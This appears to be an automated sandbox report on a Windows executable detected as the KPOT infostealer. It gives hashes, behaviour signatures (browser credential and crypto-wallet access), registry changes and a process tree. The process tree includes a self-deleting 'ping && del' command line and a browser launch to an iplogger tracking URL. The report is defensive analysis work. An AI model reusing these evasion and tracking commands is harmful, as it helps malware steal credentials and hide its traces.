Analysis
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max time kernel
144s -
max time network
150s -
platform
windows7_x64 -
resource
win7 -
submitted
07-07-2020 18:05
Static task
static1
Behavioral task
behavioral1
Sample
dc02167cff131c6e6c0a2801f1eb3b0c.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
General
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Target
dc02167cff131c6e6c0a2801f1eb3b0c.exe
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Size
399KB
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MD5
dc02167cff131c6e6c0a2801f1eb3b0c
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SHA1
20d395af135774018632b34dd6987ebfe43db43d
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SHA256
dc68a0a13aa0a1bf5394dd04e59ef2916f0b31a964730a17b0ff4afeac5888dc
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SHA512
438864813274ec6a5a9350391994de17512d957eccd4ffb4d7113e15e69e3c5171d94eb90c0081ac05c1a616ffe53999fd5bc46dda242847b4dcd7eaa1837362
Malware Config
Signatures
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KPOT Core Executable 1 IoCs
resource yara_rule behavioral1/memory/1440-7-0x0000000000290000-0x00000000002AE000-memory.dmp family_kpot -
Executes dropped EXE 1 IoCs
pid Process 1440 wotsuper.exe -
Loads dropped DLL 1 IoCs
pid Process 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Drops file in Program Files directory 3 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe dc02167cff131c6e6c0a2801f1eb3b0c.exe File opened for modification C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.exe dc02167cff131c6e6c0a2801f1eb3b0c.exe File created C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.ini dc02167cff131c6e6c0a2801f1eb3b0c.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\wotsuper.reg dc02167cff131c6e6c0a2801f1eb3b0c.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50bb643e8954d601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{67199931-C07C-11EA-BEB3-DE4D81BBE446} = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001b0829a874ca164698fa08cb019bbab8000000000200000000001066000000010000200000003112369fb4b89ef8f932bb288f1aaf6ab71c269ddfadd1ce315467685f4f0204000000000e80000000020000200000009a762d42ee723ddf09f29eb5cb490ca08f95abb55001100a9641d5b8a81c261b20000000f8d5f97dbd1bad444135fe566530dd2902ea82b4b88d4dd5135ac672ff85252740000000c076d5490e8481f82115ac40286e9b4fc204618f859aaa22a5b182223e55b920021fc8448dee7000efe7a00633fa576cefdf497a2a0068b5650a1a003d19bba9 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "300910088" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001b0829a874ca164698fa08cb019bbab800000000020000000000106600000001000020000000bc20094db9c9d97f38be3cdd74aedfb5ddcee49457b3ac992a760e8cd3ff1113000000000e800000000200002000000092e966019899a2f81ae7791b11de5b040ca6d22dec9e01c485803cd2584f55c190000000a1eeb03eb8bba2778c2158e2146cb830673c7a1134e05af464efd305e5f48b16311fbbc066ccd29cdb80a46f1484295102a5db1fda1f2723475baac9597b26fedc754f37c90601231d3ae422c11b86c358b546990a30515e2fa18afe947dd2e999403f56f366413d0ec81760e324699d0d847148945aa75e07b547528384b09807abe63e3fd3c16a23382557e3ca009a40000000403e438ef6beeeec10129b70a3d1e11e84c1b8154038081adaa4dcc0b3409272eb1424074c4686ebb569d3a9510646ac058c5000f45b1bd0b042066d8b91b4de iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe -
Modifies data under HKEY_USERS 17 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections wotsuper.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings wotsuper.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad wotsuper.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21} wotsuper.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\32-e2-17-db-d2-77 wotsuper.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionReason = "1" wotsuper.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadDecisionReason = "1" wotsuper.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadDecisionTime = 101a98328954d601 wotsuper.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadNetworkName = "Network" wotsuper.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy = "1" wotsuper.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" wotsuper.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 wotsuper.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionTime = 101a98328954d601 wotsuper.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecision = "0" wotsuper.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings wotsuper.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadDecision = "0" wotsuper.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77 wotsuper.exe -
Runs .reg file with regedit 1 IoCs
pid Process 832 regedit.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1544 PING.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1440 wotsuper.exe 1440 wotsuper.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1440 wotsuper.exe Token: SeCreateTokenPrivilege 1440 wotsuper.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1288 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1288 iexplore.exe 1288 iexplore.exe 1536 IEXPLORE.EXE 1536 IEXPLORE.EXE 1536 IEXPLORE.EXE 1536 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 900 wrote to memory of 1288 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 24 PID 900 wrote to memory of 1288 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 24 PID 900 wrote to memory of 1288 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 24 PID 900 wrote to memory of 1288 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 24 PID 900 wrote to memory of 1440 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 25 PID 900 wrote to memory of 1440 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 25 PID 900 wrote to memory of 1440 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 25 PID 900 wrote to memory of 1440 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 25 PID 900 wrote to memory of 832 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 26 PID 900 wrote to memory of 832 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 26 PID 900 wrote to memory of 832 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 26 PID 900 wrote to memory of 832 900 dc02167cff131c6e6c0a2801f1eb3b0c.exe 26 PID 1288 wrote to memory of 1536 1288 iexplore.exe 28 PID 1288 wrote to memory of 1536 1288 iexplore.exe 28 PID 1288 wrote to memory of 1536 1288 iexplore.exe 28 PID 1288 wrote to memory of 1536 1288 iexplore.exe 28 PID 1440 wrote to memory of 836 1440 wotsuper.exe 32 PID 1440 wrote to memory of 836 1440 wotsuper.exe 32 PID 1440 wrote to memory of 836 1440 wotsuper.exe 32 PID 1440 wrote to memory of 836 1440 wotsuper.exe 32 PID 836 wrote to memory of 1544 836 cmd.exe 34 PID 836 wrote to memory of 1544 836 cmd.exe 34 PID 836 wrote to memory of 1544 836 cmd.exe 34 PID 836 wrote to memory of 1544 836 cmd.exe 34
Processes
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C:\Users\Admin\AppData\Local\Temp\dc02167cff131c6e6c0a2801f1eb3b0c.exe"C:\Users\Admin\AppData\Local\Temp\dc02167cff131c6e6c0a2801f1eb3b0c.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1Ldta7.html2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1288 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1536
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C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.14⤵
- Runs ping.exe
PID:1544
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C:\Windows\SysWOW64\regedit.exe"C:\Windows\System32\regedit.exe" \s C:\Windows\wotsuper.reg2⤵
- Runs .reg file with regedit
PID:832
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